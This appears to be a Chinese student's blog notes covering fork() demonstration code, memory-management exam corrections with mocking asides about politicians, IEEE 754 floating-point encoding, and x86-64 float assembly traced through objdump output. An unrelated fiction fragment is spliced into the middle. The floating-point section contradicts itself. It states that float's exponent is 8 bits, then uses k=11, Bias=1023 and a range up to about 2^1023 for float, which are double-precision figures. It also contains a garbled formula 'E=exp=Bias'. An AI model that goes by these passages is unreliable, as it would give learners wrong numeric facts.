用户栈

3.子进程获得与父进程任何打开的文件描述符的副本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <unistd.h>
#include <stdio.h>
int global=10;//观察父子进程是否有相同的.data节拷贝
int main(){
int local=20;//观察父子进程是否有相同的栈区拷贝
printf("actived\n");//观察fork前的部分是否会被子进程执行
pid_t pid=fork();

if(pid==0){//根据pid判断是父进程还是子进程,fork对父进程返回子进程的pid,不为0,如果为0则说明当前进程为子进程
printf("child process,%d,%d\n",global++,local++);//打印后自增的目的是观察父子进程是否有独立的虚拟地址空间
}
else{
printf("father process,%d,%d\n",global++,local++);
}
return 0;
}

运行结果:

1
2
3
actived					#fork函数前只有父进程,fork之后才会两个进程都执行
father process,10,20
child process,10,20 #子进程获得父进程虚拟地址空间的拷贝,但是两者独立,父进程地址空间内的变量自增不会影响子进程的地址空间

子进程和父进程都打印到控制台表明两者共享文件描述符1(标准输出)

image-20220517091716338

内存动态分配

动态内存分配器(dynamic memory allocator),维护进程的堆区

image-20220517093706745

堆顶指针为brk,堆的生长方向与栈相反,堆从低地址向高地址生长,栈从高地址向低地址生长

都是小端模式

分配器将堆看成一组大小不同的块集合,每个块是一个连续的虚拟内存片

已分配的块就是正在被使用的块,空闲块就是尚未被使用的块,可以被分配

根据谁来释放分配块,分配器可以分成两种

显式分配器:比如C语言的malloc和free,C++的new和delete,要求程序员手动释放分配块

隐式分配器:分配器自动回收不再使用的分配块,因此隐式分配器又叫垃圾收集器,比如Java中的分配器

关于分配器的实现,这个实验是一定要做到的,但不是现在

习题订正

1.

image-20220612094124007

这个题的问法太屑了,相当于给你说已知a是b他老子,问a他爹是谁

需要注意的是逻辑地址和物理地址是啥

逻辑地址就是磁盘交换分区,虚拟地址空间中的一个地址,

物理地址就是内存条子,物理地址空间中的一个地址

每个.c源程序编译成.o可重定位目标文件之后,其虚拟地址空间都是从0开始编址

然后多个.o(也有可能有.a静态库文件)链接成.out可执行目标文件,其虚拟地址空间还是从0开始编址的,比如\([0,0x100)\)

在装载时(shell调用execve函数将进程加载进入物理地址空间),有可能将该.out虚拟地址空间的0号字节装载进入内存条子这个物理地址空间的0x100处,那么该进程对应的物理地址空间就可能是\([0x100,0x200)\)(不考虑分页),如果考虑分页,那么虚拟地址空间可能被划分成多个虚拟页,在用到时被拷贝到一个物理页.

综上,形成逻辑地址的阶段是链接阶段

翻译成物理地址的阶段是装载

4.

image-20220612095053544

本题我选的B,纯粹是瞎选,选的时候就知道必定不对

出错是因为没有重视覆盖与交换技术,在此做一个复习

覆盖:

image-20220612095244447

铁打的固定区,流水的覆盖区,用到谁就先把覆盖区存一下,然后把需要的从外存中拎出来,直接盖在先前的覆盖区上

算法竞赛中使用滚动数组,感觉也是覆盖的思想

交换:

image-20220612095647336

在CSAPP上我们学过虚拟内存,缺页时发生替换的思想就是交换思想

这样看覆盖和交换都是新的替换旧的,好像说的是一个事情,但是区别:

image-20220612095842607

只有虚拟内存技术可以物理上拓展主存容量,而覆盖和交换技术在虚存之前就存在了

覆盖和交换还是在有限大的内存条子上做文章,只能通过扔掉当前用不到的,实现节省主存空间的作用

9.

image-20220612100250957

这个题A,B选项都不太熟悉,借机了解一下存储管理方式吧

存储管理方式从进程地址空间的连续性上分为连续方式和非连续方式

连续方式,不行

​ 连续方式包括单一连续分配(单道连续分配),固定分区分配(多道固定连续分配),连续动态分配(多道可变连续分配)

单道连续分配是最早最low逼的方式,整个内存条子上最多允许一个进程独占

多道固定连续分配意思是内存条子上划出几个块,每个块让一个进程独占,各个进程老死不相往来

image-20220612100928491

非连续方式,行

​ 非连续方式包括分段,分页,段页,都是比较近或者最近的操作系统正在使用的技术,比较熟悉

​ 比如x86上使用段页式结构,x86-64上使用分页结构

14.

image-20220612101143722

这个题要清晰重定位的各种类型,谁来负责重定位,什么时候重定位

什么是重定位?装入时对目标程序中指令和数据的修改过程

一定要重定位吗?不一定,早期low逼程序和low逼内存系统上,程序编译完成之后一个各个变量指令的物理地址就知道了,不存在逻辑地址一说,比如在单道连续分配的内存系统上,一共就只有一个进程执行,整什么逻辑地址真是多次一举

凡是需要重定位的,一定有逻辑地址和物理地址的区分,重定位的过程就是将逻辑地址翻译成物理地址这个地址变换的过程

本题中A和B,都是连续存储方式,只要确定好程序在物理内存中的基地址,那么程序所有指令数据的地址就都确定了,根本不需要重定位,编译时决定物理地址即可

重定位的类型?静态重定位和动态重定位

​ 静态重定位指地址变换在装载时一次完成

​ 本题中D,段式结构就是静态重定位

​ 动态重定位指地址变换在运行时才会进行

​ 用于分页系统,因为虚拟页实际加载进入哪一个物理页,这由操作系统页面置换算法决定,不到运行时,是不知道虚拟页到底被加载到哪里的,该虚拟页上的数据和指令自然无法被重定位

18.

image-20220612102551429

我一开始选的是地址映射,我是这样考虑的

x86-64上任何进程都是从0x400000这个地址开始的,通过地址映射,该虚拟地址被翻译成不同的物理地址,因此不会出现两个进程虚拟地址空间指向同一块物理地址空间的情况,即避免了进程的相互干扰

我选的D,但是答案是B

意思是一个进程有一个基址寄存器和边界寄存器,该进程内任意内存访问不得超过两个寄存器规定的范围,因此由内存保护实现

21.

image-20220612103002978

感觉这种题没有什么意义,让学生考虑段表和页表的大小,

用户物理地址空间=总空间-页表或段表表占的空间

你直接问页表大还是段表大不就行了?

你直接问页和段谁大小可变不就行了?

非得绕着弯说,根考察三年级学生两年后你和你老子谁年龄大一样.

你不就是想考察段大小可变,页大小固定这个事儿吗

24.

image-20220612103815223

单道系统上某一时刻只有一个程序在运行,只需要维护一个重定位寄存器,谁在执行就把谁的基地址放到重定位寄存器上

26.

image-20220612104001176

还是考察对四个选项概念是不是认识

"可变分区"实际上还是连续内存的low逼方法

前面14题已经分析过了,分页存储管理是动态链接的

"有利于动态链接"不如说"必须动态链接"

28.

image-20220612104157764

考察对"可重入"的理解

CSAPP上我们学过"可重入"函数,就是不访问临界区的线程安全函数

既然不访问临界区,那么多个进程共享这一块也是没问题的,

只需要将共享区放在内存上,让有需要的进程引用本共享区,不需要每个进程分别拷贝一份

怎么就减少对换数量了呢?

啥叫"兑换"?不是缺页置换

不需要每个进程都加载共享区,一共加载一次就可以

29.

image-20220612104605803

这里"代价"是啥呢?

分段时需要操作系统维护段表,分页时需要维护页表

段表和页表也要占用内存,这就是代价

知道的越少,人越觉得自己厉害,叫什么穷开心不是吗?

分区是最早的内存管理方式,只需要维护有几个区,每个区放了啥.并且区相对于页和段大得多,操作系统维护的区表相对于页表段表会小很多,因此代价少

34.

image-20220612104843836

前两条说的是真对,需要注意的是内碎片和外碎片是啥

第三条,影响磁盘访问时间的主要因素是啥呢?页面多大则需要从磁盘中拷贝出相应大小的页面,拷贝的越多用时越长,怎么就"主要因素通常不是页面大小了",III项纯粹故意说很长的假话吓唬人

那么影响磁盘访问时间的主要因素是啥呢?

寻道时间、旋转延迟、数据传输时间

页面大小会影响数据传输时间,当然是主要因素

35.

image-20220612105228600

这个题的ACD三要都是白给

这让我想到高三做过的一道化学题

image-20220612105424208

"取10.00ml稀释液的过程中,酸式滴定管的初始页面为0.20ml,左手控制活塞向锥形瓶中加稀释液,此时眼睛应该____"

你说写"睁着"吧,理论上也对,闭着眼儿万一倒手上把手烧个窝儿,还必须得睁着眼儿

那为啥不能写"睁着"呢?这睁着不是废话吗.这个题就想考察会不会说滴定流程的套话

在本题中我一开始选的A,这也是废话,页面大小一定得依据内存大小确定啊,要是内存4G,你整一个8G大小的页面有个锤子用呢?

本题就想考察"页面大小固定"这个事儿

但是D一定是不对的,外存就是一群乌合之众没有排面,内存少而精,外存一定是为内存服务的

C对不对呢?也有道理,比如如果数据总线宽度为64位,那么页面大小就1Byte占8位,都不够cpu拿来塞牙缝的.但是出题的认为这都不用说,是废话

36.

image-20220612110227309

什么叫不懂装懂啊?

"方便操作",怎么操作,什么操作?你把"操作"去掉也是一个意思

就说"A.方便"

不妨把话说的更明白一点

"A.好"

好个球子啊

因为BCD这些优点显而易见,出题的实在想不到说个啥缺点,就整了一个"A.方便操作"

实际上这个答案啥也没说,就好比让你评价一下学校对卢雷事件的处理,你说了个"好!",怎么好了?给校风学风带来啥影响?给其他学生有啥影响?给外界啥影响?你是一个字不说,因为现在的处理方式吐不出象牙来

39.

image-20220612110742608

14题复习了重定位之后显然这个题选B,但是C和D我怎么没在教材上见到过

因为压根就没这两个概念.

这不就是某些政治家某些上级以及某些令人恶心的文科学科的口头禅吗

正确的,直接的,中肯的,雅致的,客观的,完整的,立体的,全面的,辩证的,形而上学的,雅俗共赏的,一针见血的,直击要害的,错误的,间接的,虚假的,庸俗的,主观的,残缺的,平面的,片面的,孤立的,辩证法的..

落实,夯实,搞好,坚持,推进,改善,提高....

美国化,本土化,最大化,冲国化...

政治跨考计算机的是不是就要选C了

天空のグリニッジ

上司啦,政治家啦以及那些现在已经不存在的独裁者们都一样是渺小的人类。

自己只要向着自己能够认同的方向努力就好了。只是看到宇宙的照片就会有这样的感觉。  

宇佐见莲子和玛艾露贝莉·赫恩(梅莉)二人,正坐在大学校园内的露天咖啡屋中兴奋的交谈着。

浮点数的机器级表示

师出有名

1.补上计组网课上摆烂留下的历史问题

2.将浮点数的表示和程序中的行为联系起来,完成CSAPP第二章和第三章最后剩下的浮点数部分

药引子和命根子

从十进制科学计数法说起

一个很长十进制数,成万上亿,在小学的时候我们就知道,可以用科学计数法表示

假设该十进制数按位展开表示成 \[ d=d_{m}d_{m-1},,,d_{1}d_{0}.d_{-1}d_{-2},,,d_{-n}d=\sum_{i=-n}^{m}10^i\times d_i\\ m,n\ge 0 \]

注意\(d_0.d_{-1}\)中间是小数点

用科学计数法表示 \[ d=d_m.d_{m-1}d_{m-2},,,d_{0}d_{-1},,,d_{-n}\times 10^m\\ =0.d_md_{m-1}d_{m-2},,,d_{0}d_{-1},,,d_{-n}\times 10^{m+1}\\ =d_md_{m-1}.d_{m-2},,,d_{0}d_{-1},,,d_{-n}\times 10^{m-1} \] 小数点每左移一位,\(10\)的指数就得增加1.

小学时学的科技法的规范形式,小数点左侧只能留下一个非零位,就比如: \[ 123.456=1.23456\times 10^2 \]

为啥要发明科学计数法呢?举个例子

如果要表示两个整亿,不用科计法为\(2'000'000'000\),表示这个数就用了10个十进制位,而其中后面9位都是0,包含了重复信息.

而如果用科技法表示为\(2\times 10^9\)

此时我们只需要保留两个信息,底数\(2\)和指数\(9\),只用了两位

要是不是两个整亿呢?要是\(2'987'654'321\)呢?

此时如果要求保留全精度,科技法表示为\(2.987654321\times 10^9\),相对于普通表示,需要多保存一个9

但是如果要求保留一位有效数字,科技法就可以表示为\(3\times 10^9\),普通方法还得带着一伙子0

在数字很大的时候,我们往往更加关心量级和最高位,低位的数字相对欠重要,很多情况下要舍入

从科计法到二进制

不管是普通表示还是科技表示,二进制和10进制只有一个区别,即每一位的权重,

位权从10改成2就是二进制了

image-20220605185246553 \[ b=\sum_{i=-n}^m 2^{i}\times b_i \] 二进制的"科技法"也有一个规范形式,即小数点左侧只能留一个1

比如\(5.125(10)=101.001(2)=1.01001\times 2^2(2科技)\)

十进制科技法的规范形式,小数点左侧只能留下一个非0数

为啥二进制不能说留下一个非零数?

二进制下要么是0要么是1,非零数就是1

并且二进制科技法中,小数点左侧只留下一个1,那么这个1就可以省去不表示,只要是所有人都知道这个协议,他们使用这个科技法的二进制数的时候就会自己添上最前面的1.这样又可以腾出一位来用于精度信息

为什么十进制不能省去小数点左侧的数?因为这个数可能是1~9这9个数任意一个.省去就丢失了信息.二进制科技法中可以省去,是因为小数点左侧一定是1

IEEE754标准

浮点数的手写表示法

IEEE754标准中将一个浮点数表示成这样 \[ V=(-1)^s\times M\times 2^E \]

s,符号.s=1则系数-1;s=0则系数1

M,尾数,一个二进制小数,其取值范围有两种

\(M\in[1,2)\),规格化数

\(M\in [0,1)\),非规格化数

E,指数

注意这里只是说"表示",真的在计算机中编码实现时不是这样的

真到编码的时候咋编的呢?

image-20220605190631176

左边是高位,右边是低位

最高位是符号位,这和刚才的表示是相同的

然后exp是"阶码".对于32位的float类型,exp占用8位,对于64位的double类型,exp占用11位.

用k表示exp的位数,对于float来说,k=11

注意这里"阶码"是加了引号的,因为实际存储的时候,这里面存放的不是刚才的表示中的\(E\),但是\(E\)是经过一些手续从\(exp\)换算得到的.这个换算过程是有固定套路的,这是后话

然后是frac尾数M,占用了23位.这尾数和刚才的"表示"中也是不一样的,也需要分类讨论办点手续

用n表示frac的位数,对于float来说n=23

啥意思呢?举个例子

比如假设一个单精度浮点数float在计算机中的编码为: \[ 0'0000\ 0001'0000\ 0000\ 0000\ 0000\ 0000\ 001 \]

符号位s exp frac
0 0000 0001 0000 0000 0000 0000 0000 001

如果认为\(E=0000\ 0001,M=1\)去算这个数得到 \[ b=1\times 2^1=10(2)=2(10) \] 这就错了,实际上这个数是 \[ 1\frac{1}{2^{23}}\times 2^{-126} \]

这里\(1\frac{1}{2^{23}}\)是带分数

为啥会这样呢?为啥不能直来直去,exp就表示E,frac就表示M?

这涉及到排序方便的问题,这是后话.

总之计算机中存储的浮点数直接拿出来并不是s,E,M这样排好的,需要办手续

浮点数的实际存储状态

状态设计

在设计浮点数的存储状态时,鳎们首先规定了几个特殊的状态:

1.正负无限大

2.不是数NAN

给你一个32位数,让你考虑怎么用32个位表示一个数是正负无限大还是不是数还是正常数?

专门用两个状态位标记?比如开头两位,00表示正无限大,01表示负无限大,10表示不是数,11表示正常数.然后剩下30位在正常数时使用?

这样设计有啥意义呢?纯粹是页表状态学傻了,非得用一个标志位标志一下脏不脏是吧?

一个数要是无限大或者根本不是数,那么后面30位不都没有意义了吗?这在数电上就是无关项了.

看看人家IEEE754怎么规定的吧

image-20220605192623246

只能说这种规定不流失不蒸发零浪费,把牙膏挤的一滴都不剩了.当看不明白这种定义的蜜汁操作时,使劲往空间利用效率上想就对了

什么个想法呢?

1.符号位站最高位,不管如何符号位总得站一位吧.这里没有异议

2.无穷大,不管是正负,其exp全是1,frac全是0.

为啥要用exp全1,frac全0表示无穷大?这样表示岂不是会占用正常数的地址空间?

确实会占用,但是只占用了一种状态,exp还剩下\(2^8-1=255\)种状态

像比于专门用两个状态位,这样exp还剩下6位,可以表示\(2^6=64\)种状态

显然人家的规定更会挤牙膏

正负无穷大怎么表示的呢?

符号位决定正负,后面的exp全1frac全0表示无穷大

它甚至符号位和正常数都共用

3.NaN,其和无穷大的表示,就是frac是否全0

只要CPU读取一个浮点数,发现exp的8位全是1,他就知道要么是一个无穷大,要么不是数.反正不是好东西.

然后再检查后面frac的23位,要是有一个1就判定为NaN

这又挤了牙膏,设计出无穷大之后,NaN随之而来,甚至设计出无穷大之后再设计NaN都不会占用正常数的地址空间了

4.正常数

正常数分为规格化数和非规格化数

区分两者是通过exp是否全0

至于啥是规格啥是非规格,这是后话,反正实际使用的时候都能用到并且没有显式的开关

规格化数

image-20220605193811879

exp

心里应该时刻悬着一个疑问,exp经过什么手续得到E阶码?

现在给你说这个手续是什么 \[ E=exp-Bias\\ \] \[ exp=e_{k-1}e_{k-2}...e_{1}e_{0}\\ \]

\[ Bias=2^{k-1}-1 \]

其中k是exp占用的二进制位数,

对于float来说,\(k=11,Bias=2^{11-1}-1=1023\)

懵逼了吧,Bias是个銱啊?

给一个定义\(Bias=2^{k-1}-1\),跟那该死的谜语人儿似的,不给说为啥这样整.

CSAPP上也是春秋笔法,留个后话,和某些人一样吊人胃口

image-20220605194513398

如果想要保持这层神秘感,那就继续看书,总会有一瞬间恍然大悟

如果急于知道原因,可以这样想:

1.我这样算出来的\(E\),怎么表示正负呢?

虽然我整个数有一个符号s,但是阶码也应该有一个符号啊,\(-1.01\times 2^2\)\(-1.01\times 2^{-2}\)这两个可不一样啊

按理说E的开头一位应该是符号啊,这样规定,没写符号位啊?

2.\(Bias=2^{k-1}-1\)好大啊,用exp去减Bias不是以卵击石吗?剪完了十有八九是个负数啊?

这样想就在向Bias的设计目的靠拢了

先解决2.

对于float,k=11 \[ Bias=2^{11-1}-1=2^{10}-1=0111\ 1111\ 111\ \] 最高位竟然是0,剩下低位全是1

也就是说当\(exp=1XXX\ XXXX\ XXX\),这时候\(exp-Bias\)得到的是正数

\(exp\)要么表示是\(1XXX\ XXXX\ XXX\),要么是\(0XXX\ XXXX\ XXX\)

这两种情况平分秋色,就算是摇色子也是对半的几率落在两个范围内.

而我们希望阶码的正负数范围也是平分秋色,势均力敌的(差一两个无所谓)

现在就有雏形了

\(exp=1XXX\ XXXX\ XXX\),\(E=exp-Bias\)得到的就是正数

\(exp=0XXX\ XXXX\ XXX\),\(E=exp-Bias\)得到的就是负数

这好像和我们平常定义的正负数有出入啊?

通常都是0表示正数,1表示负数啊?这里为啥要倒过来exp最高位为1时表示正数,exp最高位为0时表示负数

这时候就要考虑方便排序比大小了

两个阶码\(E1,E2\)都是经过\(exp1,exp2\)减同一个数得到的,那么\(E1>E2\)\(exp1>exp2\)

反过来也是这样,如果\(exp1>exp2\)\(E1>E2\)

如果正数最高位为1负数最高位为0,那么很自然的\(1>0\),正数大于负数.

两个同号的exp比较时就从最高位遍历到最低位一视同仁

那么任意两个exp比较只需要从最高位遍历到最低位,谁的高位有1谁大

这样比较大小顺理成章,不用特判符号位

总结:

Bias这样设计考虑了排序方便,并且减去的这个数正好是区间的一半,相当于\([0,10]-5\Rightarrow[-5,5]\),使得正负数平分秋色.

解决了正负号问题同时附带着解决了大小问题,岂不美哉

frac

前面说过,从frac到真正的尾数M也需要分类讨论办手续

现在就是分类讨论情况1

当exp不全为0也不全为1(即表示一个规格化数时) \[ M=1+frac=1.f_{n-1}f_{n-2}...f_0 \] 即存储时自动忽略了小数点左边的1,计算式要加上

总结

现在我们知道了exp到E的手续还有frac到M的手续,符号s没有手续.

手续齐全了,一个规格化数的表示和存储的关系我们也就明了了

还是以一开始举的例子,假设一个float的存储是这样的 \[ 0'0000\ 0001'0000\ 0000\ 0000\ 0000\ 0000\ 001 \]

符号s exp frac
0 0000 0001 0000 0000 0000 0000 0000 001

\(Bias=0111\ 1111(2)=127(10)\)

\(E=exp=Bias=1-127=-126(10)\)

\(M=1+frac=1.0000\ 0000\ 0000\ 0000\ 0000\ 001(2)=1+2^{-23}(10)\) \[ \begin{aligned} b&=(-1)^s\times M\times 2^E\\ &=(-1)^0\times(1+2^{-23})\times 2^{-126}\\ &=1\frac{1}{2^{23}}\times 2^{-126} \end{aligned} \]

范围

考虑一个exp有k位,frac有n位的规格化数能够表示的数的范围

首先考虑\(exp\)的范围,由于其不能全为0或者全为1,因此有\(exp\in[00...001]\) \[ exp\in[\begin{matrix}\underbrace{000\cdots 0001}\\k-1个0,1个1\end{matrix},\begin{matrix}\underbrace{111\cdots 1110}\\k-1个1,1个0\end{matrix}] \]\(exp\in[1,2^{k}-2]\)

那么\(E=exp-Bias=exp-(2^{k-1}-1)\in [2-2^{k-1},2^{k-1}-1]\)

\(frac\in[0,\sum_{i=-1}^{-n}2^i]=[0,1-2^{-n}]\)

\(M=1+frac\in[1,2-2^{-n}]\)

符号 最大值 最小值
exp \(2^k-2\) 1
E \(2^{k-1}-1\) \(2-2^{k-1}\)
frac \(1-2^{-n}\) 0
M \(2-2^{-n}\) 1
规格化数绝对值 \((2-2^{-n})\times 2^{2^{k-1}-1}\) \(2^{2-2^{k-1}}\)

比如对于float类型,k=11,n=23

符号 最大值 最小值
exp \(2^{11}-2=2046\) 1
E \(2^{11-1}-1=1023\) \(2-2^{11-1}=-1022\)
frac \(1-2^{-n}=1-2^{-23}\) 0
M \(2-2^{-n}=2-2^{-23}\) 1
规格化数绝对值 \((2-2^{-23})\times 2^{2^{10}-1}=(2-2^{-23})\times 2^{1023}\) \(2^{2-2^{11-1}}=2^{-1022}\)

非规格化数

非规格化数是干啥用的呢?都叫他"非规格化"了,看来不规范,为啥还要用它呢?

现在要存储一个值为0的float.而规格化时我们要求\(M\)左边是1,存储的时候省去

对于0,打死也找不到一个1放在小数点左边啊

exp

当exp全0时,存储的数就是一个非规格化数

这时求\(E\)的手续又有变化\(E=1-Bias\)

\(Bias=2^{k-1}-1\)不变

frac

求尾数M的手续也有变化\(M=frac\),没有隐含的1了

总结

如果一个非规格化数的存储是这样的: \[ 0'0000\ 0000'0000\ 0000\ 0000\ 0000\ 0000\ 000 \] 全是0

\(E=1-Bias=1-127=-126\)

\(M=frac=0\) \[ b=(-1)^0\times 0\times 2^{-126}=0 \]

同理,如果只有符号位为1,由于M为0,我们也可以得到0

这两个0有区别,符号位0的为+0,符号位1的为-0.两者在计算\(1/+0,1/-0\)时分别得到正负无穷大

范围

\(M=frac\in[0,1-2^{-n}]\)

\(E=1-Bias=2-2^{k-1}\)

阶是不变的,只有尾数\(M\)可以变

到此仍然体会不到非规格化数的作用,仍然懵逼的很.不能就因为要表示0就单开一种类型吧?

这么说吧,非规格化数还可以表示距离0很近的数.啥意思呢?

注意非规格化数的阶码\(E=2-2^{k-1}\)这个定值正好是规格化数阶码的最小值

再看尾数,规格化数的尾数最小是1,但是非规格化的尾数\(M\in[0,1-2^{-n}]\)永远小于1

规格化数最靠近0的数为\(2^{2-2^{k-1}}\),不能再小了,但是非规格化数可以再通过改变尾数更接近0

即同为正数的 规格化数 一定大于 非规格化数

画在数轴上就是CSAPP给出的这幅图

image-20220605210411034

这里"偏置量"就是bias

以八位浮点数为例

这个表上可以发现很多问题

1.非规格化数呈现等差数列,相邻两项相差\(\frac{1}{512}\),这是为什么?

非规格化数的阶码是固定的,用\(C=2^{2-2^{k-1}}=2^{-6}=\frac{1}{64}\)表示固定的权

尾数\(M\)\(0\)逐次增加\(\frac{1}{8}\),那么非规格化数序列就是\(0C,\frac{1}{8}C,\frac{2}{8}C...\frac{7}{8}C\)

任意相邻两项差均为\(\frac{1}{8}C\)为定值

2.从最大的非规格化数到最小的规格化数貌似仍然维持了非规格化数的公差,那么规格化数也是等差数列吗?

不是

相邻两个规格化数的增长,既要考虑阶码的增长的可能,又要考虑尾数增长的可能

对于一个固定的阶码,尾数只有\(0,\frac{1}{8},...,\frac{7}{8}\)这8种情况,同一个阶码下的这八项组成等差数列

但是换一个阶码,和刚才的尾数就组不成等差数列了,\(\frac{1}{8}C_1\)\(\frac{1}{8}C_2\)不一样大

因此规格化数随着阶码增大,在数轴上的距离将会离得越来越远

3.阶码最小的规格化数一定可以和非规格化数"平滑过渡"吗

是的

阶码最小时\(exp=1\)

此时\(exp-Bias=1-Bias\)即阶码最小的规格化数和非规格化数的阶码是相同的

两种数的区别在于尾数前面是否有隐含的1

而非规格化数恰好从0增长到1之前缺一个单元,阶码最小的规格化数尾数恰好从1开始增长,接了非规格化数的班

我们的上述2.3两点在CSAPP给出的插图2-34中得到了验证

image-20220605212121233

a)中约靠近中心,规格化数之间的距离越近(单调不增),越靠近两头规格化数之间的距离越远(单调不减).

一定范围内规格化数距离相同,是因为该几个规格化数的阶码相同,只有尾数不同

b)中最小的规格化数和非规格化数呈等差数列

舍入问题

向偶数舍入:

不是四舍五入,不是向上向下舍入

image-20220605213150852

在类型转换从浮点数到整数时还是使用向0舍入

向偶舍入是一个浮点数表示不开的时候采用的方法

x86-64上浮点数的机器级表示

16个媒体寄存器

image-20220605215315252

这里媒体寄存器都长的出奇,最短的用法是128位的xmm寄存器

然而一个浮点类型,要么是32位的float,要么是64位的double,

既然常用类型最长64位,为啥要整128甚至256位的寄存器呢?

目前猜测这些寄存器不光有存放浮点类型的作用

否则不会叫做"媒体"寄存器,怎么不改名浮点寄存器

实际上看了后面确实如此,xmm,ymm寄存器可以一次性存放好几个值

\([x_1,x_2,x_3,x_4]\)这种向量,其中每一个x都是一个float,合起来一共128位刚好占用一共xmm寄存器.

如果是四个double组成的向量则恰好一个ymm寄存器

汇编指令

标量指令

为了理解"标量"这个概念,必须得和"向量"这个概念联系对比

当然这里的向量和标量不是数学物理上的概念

更像是概率论与数理童祭时学的概念

X是一个样本,\(X_i\)是样本成员 \[ X=[X_1,X_2,X_3,...,X_n] \] 这里\(X\)就是一个向量,他是有一群标量\(X_1,X_2,...,X_n\)按照顺序组成的集合

又比如一个有着横纵坐标的二维几何点就可以叫做一个"向量"\(P(X,Y)\)

标量就是一个数据

而向量是一组数据

标量指令对单个数据进行操作,一条标量指令只涉及一个数据的传递等操作

向量指令可以一条指令完成对多个数据的操作

在接触浮点数的机器表示时,我们没有见过"向量指令"这个说法,是因为之前一直都是标量指令,不涉及向量的概念,当时CSAPP没有必要引入一个概念吓唬初学者

引用内存的指令是标量指令

也就是从寄存器到内存或者从内存到寄存器,只能一次搬一个数据,不能搬多了

那么可以推测,有这么一些指令,可以在xmm寄存器之间一口气搬好几个数据

浮点传送指令

image-20220606145220374

main.c

1
2
3
4
5
6
7
8
9
10
11
void func(){
register float a=12;
register float b=a;//使用register修饰提醒编译器使用寄存器存放a变量,但是实际上编译器很可能忽略
float c=a;
float *d=&c;
float e=*d;
}
int main(){
func();
return 0;
}
1
2
3
4
5
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─$ gcc main.c -O0 -o main

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─$ objdump main -d > main.asm

main.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000000000001129 <func>:
1129: 55 push %rbp
112a: 48 89 e5 mov %rsp,%rbp
112d: f3 0f 10 0d cf 0e 00 movss 0xecf(%rip),%xmm1 # 2004 <_IO_stdin_used+0x4>
1134: 00
1135: f3 0f 11 4d f0 movss %xmm1,-0x10(%rbp)
113a: 48 8d 45 f0 lea -0x10(%rbp),%rax
113e: 48 89 45 f8 mov %rax,-0x8(%rbp)
1142: 48 8b 45 f8 mov -0x8(%rbp),%rax
1146: f3 0f 10 00 movss (%rax),%xmm0
114a: f3 0f 11 45 f4 movss %xmm0,-0xc(%rbp)
114f: 90 nop
1150: 5d pop %rbp
1151: c3 ret

这里面a,b,c,d,e分别以什么形式存储呢?这得联系上下文了

movss 0xecf(%rip),%xmm1从内存rodata区到寄存器使用了movss指令,对应register float a=12;,即a存放在xmm1中

movss %xmm1,-0x10(%rbp)从寄存器到内存栈区使用了movss指令,

可能对应register float b=a;,因为编译器有可能忽略register修饰,也可能对应float c=a;

怎么区分这两种情况呢?源代码下文中有对c的地址引用,因此后面如果有对-0x10(%rbp)的地址引用操作, 那么可以判定为c

lea -0x10(%rbp),%rax,rax中存放刚才搬进栈区的局部变量的地址

mov %rax,-0x8(%rbp)这个地址通过rax中转放到栈上,这一步明显对应float *d=&c;,

那么可以推出,d放在栈区-0x8(%rbp),c放在栈区-0x10(%rbp)

mov -0x8(%rbp),%rax这步实际上没有作用,rax之前就是存的-0x8(%rbp),只不过-O0优化显得编译器根傻子一样

movss (%rax),%xmm0,*d放到寄存器xmm0里,

movss %xmm0,-0xc(%rbp) *d通过xmm0中转了一下又放到栈区

显然对应float e=*d;,e放在了栈区-0xc(%rbp)

见鬼的是register float b=a;这句好像没有起作用.为了保证我们没有出现幻觉,源代码中去掉这一句重新编译然后反编译

1
2
3
4
5
6
7
8
9
10
11
void func(){
register float a=12;
// register float b=a;
float c=a;
float *d=&c;
float e=*d;
}
int main(){
func();
return 0;
}
1
2
3
4
5
┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─$ gcc main.c -O0 -o main -g

┌──(kali㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─$ objdump main -d > main.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000000000001129 <func>:
1129: 55 push %rbp
112a: 48 89 e5 mov %rsp,%rbp
112d: f3 0f 10 0d cf 0e 00 movss 0xecf(%rip),%xmm1 # 2004 <_IO_stdin_used+0x4>
1134: 00
1135: f3 0f 11 4d f0 movss %xmm1,-0x10(%rbp)
113a: 48 8d 45 f0 lea -0x10(%rbp),%rax
113e: 48 89 45 f8 mov %rax,-0x8(%rbp)
1142: 48 8b 45 f8 mov -0x8(%rbp),%rax
1146: f3 0f 10 00 movss (%rax),%xmm0
114a: f3 0f 11 45 f4 movss %xmm0,-0xc(%rbp)
114f: 90 nop
1150: 5d pop %rbp
1151: c3 ret

和刚才一模一样register float b=a;这句直接被优化掉了

哦上帝啊,-O0的gcc竟然也会有优化

浮点转换指令

image-20220606152907983

一看就明白,没必要做实验分析了

其他指令

比较指令,位级运算指令都是按位进行的,类比整数的情形即可

System V 调用约定

参数传递约定

1
2
3
4
5
6
7
8
void func(float a,float b,float c,float d,float e,
float f,float g,float h,float i,float j)
{}//传递十个参数

int main(){
func(1,2,3,4,5,6,7,8,9,10);
return 0;
}
1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─# gcc main.c -O0 -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/float]
└─# objdump main -d > main.asm

main.asm

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0000000000001158 <main>:
;开端,帧指针压栈保存,帧指针获得此时栈顶指针拷贝
1158: 55 push %rbp
1159: 48 89 e5 mov %rsp,%rbp
;func的参数从右向左压栈,首先安排10的位置
;PC相对寻址,将M[rip+0xea0]放在xmm0寄存器
115c: f3 0f 10 05 a0 0e 00 movss 0xea0(%rip),%xmm0 # 2004 <_IO_stdin_used+0x4>
1163: 00
1164: 48 8d 64 24 f8 lea -0x8(%rsp),%rsp ;rsp=rsp-8,栈上申请8字节空间
1169: f3 0f 11 04 24 movss %xmm0,(%rsp) ;从xmm0搬到M[rsp]上

;重复刚才的过程,压栈从右向左数的第二个参数
116e: f3 0f 10 05 92 0e 00 movss 0xe92(%rip),%xmm0 # 2008 <_IO_stdin_used+0x8>
1175: 00
